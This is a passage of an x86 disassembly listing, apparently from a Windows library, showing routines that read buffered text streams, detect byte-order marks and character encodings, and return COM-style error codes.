		call	sub_69B36811
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B35EEA
		mov	eax, 8007000Eh
		jmp	short loc_69B35F10
; ---------------------------------------------------------------------------


loc_69B35EEA:				; CODE XREF: sub_69B35EC2+1Fj
		push	edi
		push	esi
		call	sub_69B17320
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_69B35EF7:				; CODE XREF: sub_69B35EC2+12j
		push	[esp+8+arg_8]
		mov	ecx, [esi]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_69B3649E
		test	eax, eax
		jl	short loc_69B35F10
		xor	eax, eax


loc_69B35F10:				; CODE XREF: sub_69B35EC2+26j
					; sub_69B35EC2+4Aj
		pop	edi
		pop	esi
		retn	0Ch
sub_69B35EC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35F15	proc near		; CODE XREF: sub_69B33E72+46Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi], edi
		jnz	short loc_69B35F26
		mov	edi, 80004005h
		jmp	short loc_69B35F54
; ---------------------------------------------------------------------------


loc_69B35F26:				; CODE XREF: sub_69B35F15+8j
		push	0
		push	0
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_69B37036
		test	eax, eax
		mov	[esi+50h], eax
		jnz	short loc_69B35F45
		mov	edi, 8007000Eh
		jmp	short loc_69B35F54
; ---------------------------------------------------------------------------


loc_69B35F45:				; CODE XREF: sub_69B35F15+27j
		cmp	byte ptr [esi+36h], 0
		jnz	short loc_69B35F54
		mov	ecx, esi
		call	sub_69B35CF6
		mov	edi, eax


loc_69B35F54:				; CODE XREF: sub_69B35F15+Fj
					; sub_69B35F15+2Ej ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_69B35F15	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35F5B	proc near		; CODE XREF: sub_69B2132A+59p
					; sub_69B347D3+147p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		cmp	eax, [esi+4Ch]
		jle	short loc_69B35F6F
		call	sub_69B35D46
		test	eax, eax
		jl	short loc_69B35F75


loc_69B35F6F:				; CODE XREF: sub_69B35F5B+9j
		mov	byte ptr [esi+36h], 1
		xor	eax, eax


loc_69B35F75:				; CODE XREF: sub_69B35F5B+12j
		pop	esi
		retn
sub_69B35F5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B35F77	proc near		; CODE XREF: sub_69B35FE4+57p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_69B35D46
		test	eax, eax
		jl	short loc_69B35FE1
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B35FDC
		mov	eax, [esi+10h]
		sub	eax, [esi+18h]
		and	[ebp+var_4], 0
		mov	edx, [ecx]
		push	ebx
		dec	eax
		lea	ebx, [ebp+var_4]
		push	ebx
		mov	ebx, [esi+4]
		add	eax, eax
		push	eax
		mov	eax, [esi+18h]
		lea	eax, [ebx+eax*2]
		push	eax
		push	ecx
		call	dword ptr [edx+0Ch]
		mov	ecx, [ebp+var_4]
		mov	edx, [esi+4]
		shr	ecx, 1
		add	[esi+18h], ecx
		mov	ecx, [esi+18h]
		and	word ptr [edx+ecx*2], 0
		test	eax, eax
		pop	ebx
		jl	short loc_69B35FE1
		cmp	[ebp+var_4], 0
		jnz	short loc_69B35FD8
		inc	dword ptr [esi+8]
		inc	dword ptr [esi+0Ch]
		mov	byte ptr [esi+34h], 1


loc_69B35FD8:				; CODE XREF: sub_69B35F77+55j
		xor	eax, eax
		jmp	short loc_69B35FE1
; ---------------------------------------------------------------------------


loc_69B35FDC:				; CODE XREF: sub_69B35F77+14j
		mov	eax, 8000000Ah


loc_69B35FE1:				; CODE XREF: sub_69B35F77+Ej
					; sub_69B35F77+4Fj ...
		pop	esi
		leave
		retn
sub_69B35F77	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35FE4	proc near		; CODE XREF: sub_69B2132A+40p
					; sub_69B2132A+10Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+18h]
		cmp	[esi+8], edi
		jl	short loc_69B36055
		xor	ebx, ebx
		cmp	[esi+34h], bl
		jnz	short loc_69B36049
		cmp	[esi+35h], bl
		jnz	short loc_69B36039
		cmp	edi, ebx
		jle	short loc_69B36039
		cmp	[esi+36h], bl
		mov	byte ptr [esi+35h], 1
		jz	short loc_69B3600E
		xor	eax, eax
		jmp	short loc_69B36015
; ---------------------------------------------------------------------------


loc_69B3600E:				; CODE XREF: sub_69B35FE4+24j
		mov	ecx, esi
		call	sub_69B35CC9


loc_69B36015:				; CODE XREF: sub_69B35FE4+28j
		mov	ecx, [esi+10h]
		sub	ecx, edi
		add	ecx, eax
		xor	eax, eax
		cmp	ecx, 1001h
		mov	ecx, [esi+54h]
		setl	al
		add	eax, 0C00CE600h
		push	eax
		call	sub_69B31EE5
		cmp	eax, ebx
		jl	short loc_69B360B4


loc_69B36039:				; CODE XREF: sub_69B35FE4+17j
					; sub_69B35FE4+1Bj
		mov	ecx, esi
		call	sub_69B35F77
		cmp	eax, ebx
		jl	short loc_69B360B4
		cmp	[esi+34h], bl
		jz	short loc_69B36052


loc_69B36049:				; CODE XREF: sub_69B35FE4+12j
		mov	eax, [esp+0Ch+arg_4]
		mov	byte ptr [eax],	1
		jmp	short loc_69B360B2
; ---------------------------------------------------------------------------


loc_69B36052:				; CODE XREF: sub_69B35FE4+63j
		mov	[esi+35h], bl


loc_69B36055:				; CODE XREF: sub_69B35FE4+Bj
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		mov	dx, [ecx+eax*2]
		movzx	ecx, dx
		inc	eax
		cmp	ecx, 9
		mov	[esi+8], eax
		jz	short loc_69B360A8
		cmp	ecx, 0Ah
		jz	short loc_69B36091
		cmp	ecx, 0Dh
		jz	short loc_69B36091
		cmp	ecx, 20h
		jz	short loc_69B360A8
		cmp	ecx, 0FFFDh
		jle	short loc_69B360AB
		cmp	ecx, 0FFFFh
		jg	short loc_69B360AB
		mov	eax, 0C00CE508h
		jmp	short loc_69B360B4
; ---------------------------------------------------------------------------


loc_69B36091:				; CODE XREF: sub_69B35FE4+8Aj
					; sub_69B35FE4+8Fj
		cmp	dx, 0Dh
		jz	short loc_69B3609E
		cmp	word ptr [esi+1Ch], 0Dh
		jz	short loc_69B360A1


loc_69B3609E:				; CODE XREF: sub_69B35FE4+B1j
		inc	dword ptr [esi+20h]


loc_69B360A1:				; CODE XREF: sub_69B35FE4+B8j
		mov	[esi+24h], eax
		mov	[esi+1Ch], dx


loc_69B360A8:				; CODE XREF: sub_69B35FE4+85j
					; sub_69B35FE4+94j
		mov	[esi+48h], eax


loc_69B360AB:				; CODE XREF: sub_69B35FE4+9Cj
					; sub_69B35FE4+A4j
		mov	eax, [esp+0Ch+arg_0]
		mov	[eax], dx


loc_69B360B2:				; CODE XREF: sub_69B35FE4+6Cj
		xor	eax, eax


loc_69B360B4:				; CODE XREF: sub_69B35FE4+53j
					; sub_69B35FE4+5Ej ...
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B35FE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B360BA	proc near		; CODE XREF: sub_69B3649E+6Dp
					; sub_69B3660F+DDp

arg_0		= byte ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		mov	edx, [esi+28h]
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		cmp	edx, 2
		jnb	short loc_69B36118
		cmp	[esp+0Ch+arg_0], 0
		jnz	loc_69B361F4


loc_69B360D6:				; CODE XREF: sub_69B360BA+84j
		cmp	[esi+14h], ebx
		jnz	short loc_69B360F4
		push	ebx
		push	ebx
		push	5
		push	offset aUtf8	; "UTF-8"
		call	sub_69B37036
		cmp	eax, ebx
		mov	[esi+14h], eax
		jz	loc_69B361A3


loc_69B360F4:				; CODE XREF: sub_69B360BA+1Fj
		cmp	edi, 0EFBBh
		jnz	loc_69B3619C
		push	3
		pop	eax
		cmp	[esi+28h], eax
		jnb	short loc_69B36154
		cmp	[esp+0Ch+arg_0], 0
		jz	loc_69B3619C
		jmp	loc_69B361F4
; ---------------------------------------------------------------------------


loc_69B36118:				; CODE XREF: sub_69B360BA+Fj
		mov	eax, [esi+1Ch]
		movzx	edi, byte ptr [eax]
		movzx	ecx, byte ptr [eax+1]
		shl	edi, 8
		add	edi, ecx
		cmp	edi, 0FEFFh
		mov	ecx, 0FFFEh
		jz	short loc_69B36169
		cmp	edi, ecx
		jz	short loc_69B36169
		cmp	edi, 2B41h
		jnz	short loc_69B360D6
		push	ebx
		push	ebx
		push	5
		push	off_69B9843C
		call	sub_69B37036
		mov	[esi+14h], eax
		jmp	short loc_69B3619C
; ---------------------------------------------------------------------------


loc_69B36154:				; CODE XREF: sub_69B360BA+4Cj
		mov	ecx, [esi+1Ch]
		cmp	byte ptr [ecx+2], 0BFh
		jnz	short loc_69B3619C
		mov	ecx, [esi+14h]
		mov	byte ptr [ecx+9], 1
		mov	[esi+24h], eax
		jmp	short loc_69B3619C
; ---------------------------------------------------------------------------


loc_69B36169:				; CODE XREF: sub_69B360BA+78j
					; sub_69B360BA+7Cj
		push	4
		pop	ebx
		cmp	edx, ebx
		jnb	short loc_69B361AA
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_69B361F4


loc_69B36177:				; CODE XREF: sub_69B360BA+FFj
		cmp	dword ptr [esi+14h], 0
		jnz	short loc_69B36195
		cmp	edi, ecx
		setz	al
		push	1
		push	eax
		push	5
		push	off_69B98438
		call	sub_69B37036
		mov	[esi+14h], eax


loc_69B36195:				; CODE XREF: sub_69B360BA+C1j
		mov	dword ptr [esi+24h], 2


loc_69B3619C:				; CODE XREF: sub_69B360BA+40j
					; sub_69B360BA+53j ...
		mov	eax, [esi+14h]
		test	eax, eax
		jnz	short loc_69B361DE


loc_69B361A3:				; CODE XREF: sub_69B360BA+34j
		mov	eax, 8007000Eh
		jmp	short loc_69B361F6
; ---------------------------------------------------------------------------


loc_69B361AA:				; CODE XREF: sub_69B360BA+B4j
		movzx	edx, byte ptr [eax+2]
		movzx	eax, byte ptr [eax+3]
		shl	edx, 8
		add	edx, eax
		cmp	edi, edx
		jnz	short loc_69B36177
		cmp	dword ptr [esi+14h], 0
		jnz	short loc_69B361D9
		cmp	edi, ecx
		setz	al
		push	1
		push	eax
		push	5
		push	off_69B98434
		call	sub_69B37036
		mov	[esi+14h], eax


loc_69B361D9:				; CODE XREF: sub_69B360BA+105j
		mov	[esi+24h], ebx
		jmp	short loc_69B3619C
; ---------------------------------------------------------------------------


loc_69B361DE:				; CODE XREF: sub_69B360BA+E7j
		lea	ecx, [esi+38h]
		push	ecx
		lea	ecx, [esi+30h]
		push	ecx
		add	esi, 10h
		push	esi
		push	eax
		call	sub_69B371A8
		test	eax, eax
		jl	short loc_69B361F6


loc_69B361F4:				; CODE XREF: sub_69B360BA+16j
					; sub_69B360BA+59j ...
		xor	eax, eax


loc_69B361F6:				; CODE XREF: sub_69B360BA+EEj
					; sub_69B360BA+138j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B360BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B361FC	proc near		; CODE XREF: sub_69B35CF6+14p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+19h], 0
		jz	short loc_69B36211
		xor	eax, eax
		jmp	loc_69B36303
; ---------------------------------------------------------------------------


loc_69B36211:				; CODE XREF: sub_69B361FC+Cj
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, [esi+2Ch]
		js	loc_69B362F0
		cmp	edi, [esi+24h]
		ja	loc_69B362F0
		mov	ebx, [ebp+arg_0]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		call	sub_69B371A8
		test	eax, eax
		jz	short loc_69B36251
		test	ebx, ebx
		jz	loc_69B362FD
		mov	eax, [ebx]
		mov	ecx, ebx
		jmp	loc_69B362F9
; ---------------------------------------------------------------------------


loc_69B36251:				; CODE XREF: sub_69B361FC+42j
		mov	ecx, [esi+10h]
		mov	edx, [ebp+arg_0]
		cmp	ecx, edx
		jnz	short loc_69B3626E
		test	ebx, ebx
		jz	short loc_69B36267
		mov	eax, [ebx]
		push	1
		mov	ecx, ebx
		call	dword ptr [eax]


loc_69B36267:				; CODE XREF: sub_69B361FC+61j
		xor	eax, eax
		jmp	loc_69B36302
; ---------------------------------------------------------------------------


loc_69B3626E:				; CODE XREF: sub_69B361FC+5Dj
		mov	eax, 4B0h
		cmp	ecx, eax
		jz	short loc_69B3627F
		cmp	edx, eax
		jz	short loc_69B362AE
		cmp	ecx, eax
		jnz	short loc_69B36283


loc_69B3627F:				; CODE XREF: sub_69B361FC+79j
		cmp	edx, eax
		jnz	short loc_69B362AE


loc_69B36283:				; CODE XREF: sub_69B361FC+81j
		mov	eax, 2EE0h
		cmp	ecx, eax
		jz	short loc_69B36294
		cmp	edx, eax
		jz	short loc_69B362AE
		cmp	ecx, eax
		jnz	short loc_69B36298


loc_69B36294:				; CODE XREF: sub_69B361FC+8Ej
		cmp	edx, eax
		jnz	short loc_69B362AE


loc_69B36298:				; CODE XREF: sub_69B361FC+96j
		mov	eax, 0FDE9h
		cmp	ecx, eax
		jnz	short loc_69B362C1
		cmp	edx, eax
		jz	short loc_69B362C1
		mov	eax, [esi+14h]
		cmp	byte ptr [eax+9], 0
		jz	short loc_69B362C1


loc_69B362AE:				; CODE XREF: sub_69B361FC+7Dj
					; sub_69B361FC+85j ...
		test	ebx, ebx
		jz	short loc_69B362BA
		mov	eax, [ebx]
		push	1
		mov	ecx, ebx
		call	dword ptr [eax]


loc_69B362BA:				; CODE XREF: sub_69B361FC+B4j
		mov	eax, 80004005h
		jmp	short loc_69B36302
; ---------------------------------------------------------------------------


loc_69B362C1:				; CODE XREF: sub_69B361FC+A3j
					; sub_69B361FC+A7j ...
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B362D1
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]
		mov	edx, [ebp+arg_0]


loc_69B362D1:				; CODE XREF: sub_69B361FC+CAj
		mov	eax, [ebp+arg_4]
		mov	[esi+38h], eax
		mov	eax, [ebp+var_4]
		mov	[esi+30h], eax
		xor	eax, eax
		cmp	[esi+24h], edi
		mov	[esi+14h], ebx
		mov	[esi+10h], edx
		jz	short loc_69B36302
		mov	[esi+24h], edi
		inc	eax
		jmp	short loc_69B36302
; ---------------------------------------------------------------------------


loc_69B362F0:				; CODE XREF: sub_69B361FC+1Cj
					; sub_69B361FC+25j
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short loc_69B362FD
		mov	eax, [ecx]


loc_69B362F9:				; CODE XREF: sub_69B361FC+50j
		push	1
		call	dword ptr [eax]


loc_69B362FD:				; CODE XREF: sub_69B361FC+46j
					; sub_69B361FC+F9j
		mov	eax, 80070057h


loc_69B36302:				; CODE XREF: sub_69B361FC+6Dj
					; sub_69B361FC+C3j ...
		pop	edi


loc_69B36303:				; CODE XREF: sub_69B361FC+10j
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B361FC	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B36309(LPCWSTR lpStr1, int)

sub_69B36309	proc near		; CODE XREF: sub_69B380C2+21p

lpStr1		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 8
		push	esi
		mov	esi, ecx
		jnz	short loc_69B36330
		push	8		; nChar
		push	lpStr2		; lpStr2
		push	[esp+0Ch+lpStr1] ; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		neg	eax
		sbb	al, al
		inc	al
		mov	[esi+18h], al
		jmp	short loc_69B36334
; ---------------------------------------------------------------------------


loc_69B36330:				; CODE XREF: sub_69B36309+8j
		mov	byte ptr [esi+18h], 0


loc_69B36334:				; CODE XREF: sub_69B36309+25j
		pop	esi
		retn	8
sub_69B36309	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B36338	proc near		; CODE XREF: sub_69B380EB+21p
					; sub_69B7BA94+E4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B36348
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]


loc_69B36348:				; CODE XREF: sub_69B36338+8j
		push	1
		push	1
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_69B37036
		mov	[esi+14h], eax
		mov	byte ptr [esi+19h], 1
		pop	esi
		retn	8
sub_69B36338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36364	proc near		; DATA XREF: .text:69B122B8o

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+34h], 0
		jnz	short loc_69B3637C
		mov	eax, 80004005h
		jmp	loc_69B36407
; ---------------------------------------------------------------------------


loc_69B3637C:				; CODE XREF: sub_69B36364+Cj
		xor	edx, edx
		mov	eax, 2000h
		div	dword ptr [esi+38h]
		mov	ecx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	edi
		mov	edi, ecx
		shr	edi, 1
		test	edi, edi
		mov	[ebp+arg_4], eax
		jz	short loc_69B363F0


loc_69B36399:				; CODE XREF: sub_69B36364+87j
		cmp	eax, edi
		jbe	short loc_69B363A0
		mov	[ebp+arg_4], edi


loc_69B363A0:				; CODE XREF: sub_69B36364+37j
		lea	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [esi+1Ch]
		lea	eax, [ebp+arg_4]
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		lea	eax, [esi+44h]
		push	eax
		mov	[ebp+arg_0], 2000h
		call	dword ptr [esi+34h]
		test	eax, eax
		jl	short loc_69B36405
		cmp	eax, 1
		jz	short loc_69B3640C
		cmp	[ebp+arg_0], 0
		jz	short loc_69B363ED
		mov	eax, [esi+3Ch]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_0]
		push	dword ptr [esi+1Ch]
		push	eax
		call	dword ptr [ecx+10h]
		test	eax, eax
		jl	short loc_69B36405
		mov	eax, [ebp+arg_4]
		sub	edi, eax
		lea	ebx, [ebx+eax*2]
		jnz	short loc_69B36399


loc_69B363ED:				; CODE XREF: sub_69B36364+66j
		mov	ecx, [ebp+arg_8]


loc_69B363F0:				; CODE XREF: sub_69B36364+33j
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_69B363FE
		lea	edx, [edi+edi]
		sub	ecx, edx
		mov	[eax], ecx


loc_69B363FE:				; CODE XREF: sub_69B36364+91j
		xor	eax, eax
		test	edi, edi
		setnz	al


loc_69B36405:				; CODE XREF: sub_69B36364+5Bj
					; sub_69B36364+7Dj ...
		pop	edi
		pop	ebx


loc_69B36407:				; CODE XREF: sub_69B36364+13j
		pop	esi
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_69B3640C:				; CODE XREF: sub_69B36364+60j
		mov	eax, 8000FFFFh
		jmp	short loc_69B36405
sub_69B36364	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B36413	proc near		; CODE XREF: sub_69B3649E+27p
					; sub_69B36515+Bp ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+24h]
		sub	[ebx+28h], eax
		mov	edx, [ebx+28h]
		push	ebp
		mov	ebp, [esp+8+arg_0]
		cmp	[ebx+20h], ebp
		jnb	short loc_69B36475
		push	ebp
		call	sub_69B11E44
		test	eax, eax
		mov	[esp+8+arg_0], eax
		jnz	short loc_69B3643E
		mov	eax, 8007000Eh
		jmp	short loc_69B36499
; ---------------------------------------------------------------------------


loc_69B3643E:				; CODE XREF: sub_69B36413+22j
		mov	edx, [ebx+1Ch]
		test	edx, edx
		jz	short loc_69B3646D
		mov	ecx, [ebx+28h]
		push	esi
		mov	esi, [ebx+24h]
		push	edi
		mov	edi, eax
		mov	eax, ecx
		shr	ecx, 2
		add	esi, edx
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	dword ptr [ebx+1Ch]
		call	sub_69B1B2B7
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi


loc_69B3646D:				; CODE XREF: sub_69B36413+30j
		mov	[ebx+1Ch], eax
		mov	[ebx+20h], ebp
		jmp	short loc_69B3648D
; ---------------------------------------------------------------------------


loc_69B36475:				; CODE XREF: sub_69B36413+14j
		test	eax, eax
		jbe	short loc_69B3648D
		test	edx, edx
		jbe	short loc_69B3648D
		mov	ecx, [ebx+1Ch]
		push	edx
		add	eax, ecx
		push	eax
		push	ecx
		call	sub_69B22103
		add	esp, 0Ch


loc_69B3648D:				; CODE XREF: sub_69B36413+60j
					; sub_69B36413+64j ...
		mov	eax, [ebx+24h]
		add	[ebx+2Ch], eax
		and	dword ptr [ebx+24h], 0
		xor	eax, eax


loc_69B36499:				; CODE XREF: sub_69B36413+29j
		pop	ebp
		pop	ebx
		retn	4
sub_69B36413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3649E	proc near		; CODE XREF: sub_69B35EC2+43p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		push	ebx
		setnz	al
		mov	ebx, ecx
		mov	[ebx+41h], al
		mov	eax, [ebx+28h]
		sub	eax, [ebx+24h]
		mov	ecx, 2000h
		add	eax, [ebp+arg_4]
		cmp	eax, ecx
		jnb	short loc_69B364C2
		mov	eax, ecx


loc_69B364C2:				; CODE XREF: sub_69B3649E+20j
		push	eax
		mov	ecx, ebx
		call	sub_69B36413
		test	eax, eax
		jl	short loc_69B36510
		cmp	[ebp+arg_4], 0
		jbe	short loc_69B364FB
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_69B364FA
		mov	ecx, [ebp+arg_4]
		push	edi
		mov	edi, [ebx+1Ch]
		add	edi, [ebx+28h]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, edx
		add	[ebx+28h], ecx
		pop	edi


loc_69B364FA:				; CODE XREF: sub_69B3649E+3Cj
		pop	esi


loc_69B364FB:				; CODE XREF: sub_69B3649E+34j
		cmp	dword ptr [ebx+30h], 0
		jnz	short loc_69B36510
		cmp	[ebp+arg_8], 0
		mov	ecx, ebx
		setz	al
		push	eax
		call	sub_69B360BA


loc_69B36510:				; CODE XREF: sub_69B3649E+2Ej
					; sub_69B3649E+61j
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B3649E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36515	proc near		; CODE XREF: sub_69B383A8+37p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	ebx
		mov	esi, ecx
		call	sub_69B36413
		cmp	eax, ebx
		jl	short loc_69B36599
		cmp	[esi+42h], bl
		jz	short loc_69B36533
		xor	eax, eax
		inc	eax
		jmp	short loc_69B36599
; ---------------------------------------------------------------------------


loc_69B36533:				; CODE XREF: sub_69B36515+17j
		cmp	eax, ebx
		push	edi
		mov	[ebp+var_4], 1
		jnz	short loc_69B3658A
		mov	edi, 1000h


loc_69B36544:				; CODE XREF: sub_69B36515+71j
		cmp	[ebp+var_4], ebx
		jbe	short loc_69B36588
		mov	ecx, [esi+28h]
		mov	eax, [esi+20h]
		add	ecx, edi
		cmp	ecx, eax
		jbe	short loc_69B3655A
		add	eax, 1000h


loc_69B3655A:				; CODE XREF: sub_69B36515+3Ej
		push	eax
		mov	ecx, esi
		call	sub_69B36413
		cmp	eax, ebx
		jl	short loc_69B36598
		mov	eax, [esi+3Ch]
		lea	edx, [ebp+var_4]
		push	edx
		mov	edx, [esi+1Ch]
		add	edx, [esi+28h]
		push	edi
		push	edx
		mov	[ebp+var_4], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	ecx, [ebp+var_4]
		add	[esi+28h], ecx
		cmp	eax, ebx
		jz	short loc_69B36544


loc_69B36588:				; CODE XREF: sub_69B36515+32j
		cmp	eax, ebx


loc_69B3658A:				; CODE XREF: sub_69B36515+28j
		jl	short loc_69B36598
		cmp	[ebp+var_4], ebx
		jnz	short loc_69B36598
		xor	eax, eax
		mov	byte ptr [esi+42h], 1
		inc	eax


loc_69B36598:				; CODE XREF: sub_69B36515+4Fj
					; sub_69B36515:loc_69B3658Aj ...
		pop	edi


loc_69B36599:				; CODE XREF: sub_69B36515+12j
					; sub_69B36515+1Cj
		pop	esi
		pop	ebx
		leave
		retn
sub_69B36515	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3659D	proc near		; CODE XREF: sub_69B367F2+3p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi-4], offset off_69B122A8
		mov	dword ptr [esi], offset	off_69B27190
		call	sub_69B2C65C
		mov	eax, [esi+18h]
		test	eax, eax
		jz	short loc_69B365BF
		push	eax
		call	sub_69B1B2B7


loc_69B365BF:				; CODE XREF: sub_69B3659D+1Aj
		mov	ecx, [esi+10h]
		test	ecx, ecx
		jz	short loc_69B365CC
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]


loc_69B365CC:				; CODE XREF: sub_69B3659D+27j
		push	0
		add	esi, 38h
		push	esi
		call	sub_69B17320
		push	esi
		call	sub_69B17230
		pop	esi
		jmp	sub_69B2C65C
sub_69B3659D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B365E3	proc near		; DATA XREF: .text:69B122BCo
					; .text:69B122F4o ...
		mov	eax, 80004001h
		retn	14h
sub_69B365E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B365EB	proc near		; DATA XREF: .text:69B122C4o
					; .text:69B122D0o ...
		mov	eax, 80004001h
		retn	18h
sub_69B365EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B365F3	proc near		; DATA XREF: .text:69B122CCo
					; .text:69B12304o ...
		mov	eax, 80004001h
		retn	4
sub_69B365F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B365FB	proc near		; DATA XREF: .text:69B122C8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+3Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		retn	8
sub_69B365FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3660F	proc near		; DATA XREF: .text:69B122B4o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_C]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		push	esi
		mov	byte ptr [ebp+var_8], bl
		mov	[ebp+var_4], ebx
		jz	short loc_69B36627
		mov	[eax], ebx


loc_69B36627:				; CODE XREF: sub_69B3660F+14j
		mov	esi, [ebp+arg_0]
		cmp	[esi+28h], ebx
		jnz	short loc_69B3663B
		cmp	[esi+42h], bl
		jz	short loc_69B3663B
		xor	eax, eax
		jmp	loc_69B36774
; ---------------------------------------------------------------------------


loc_69B3663B:				; CODE XREF: sub_69B3660F+1Ej
					; sub_69B3660F+23j
		push	edi
		mov	edi, [ebp+arg_8]
		shr	edi, 1
		push	edi
		mov	ecx, esi
		call	sub_69B36413
		cmp	eax, ebx
		jl	loc_69B36773
		mov	eax, [esi+3Ch]
		cmp	eax, ebx
		jz	short loc_69B366AE
		cmp	[esi+43h], bl
		jz	short loc_69B366AE
		mov	ecx, [esi+28h]
		cmp	edi, ecx
		jbe	short loc_69B366CB
		mov	edx, [eax]
		lea	ebx, [ebp+var_4]
		push	ebx
		mov	ebx, edi
		sub	ebx, ecx
		push	ebx
		mov	ebx, [esi+1Ch]
		add	ebx, ecx
		push	ebx
		push	eax
		call	dword ptr [edx+0Ch]
		xor	ebx, ebx
		cmp	eax, 8000000Ah
		jnz	short loc_69B36691
		cmp	[ebp+var_4], ebx
		jbe	loc_69B36773
		xor	eax, eax
		mov	byte ptr [ebp+var_8], 1


loc_69B36691:				; CODE XREF: sub_69B3660F+71j
		cmp	eax, ebx
		jl	loc_69B36773
		mov	ecx, [esi+28h]
		cmp	ecx, ebx
		jnz	short loc_69B366CB
		cmp	[ebp+var_4], ebx
		jnz	short loc_69B366CB
		mov	byte ptr [esi+42h], 1
		jmp	loc_69B36773
; ---------------------------------------------------------------------------


loc_69B366AE:				; CODE XREF: sub_69B3660F+47j
					; sub_69B3660F+4Cj
		mov	ecx, [esi+28h]
		cmp	ecx, ebx
		jnz	short loc_69B366CB


loc_69B366B5:				; CODE XREF: sub_69B3660F+EBj
					; sub_69B3660F+F3j
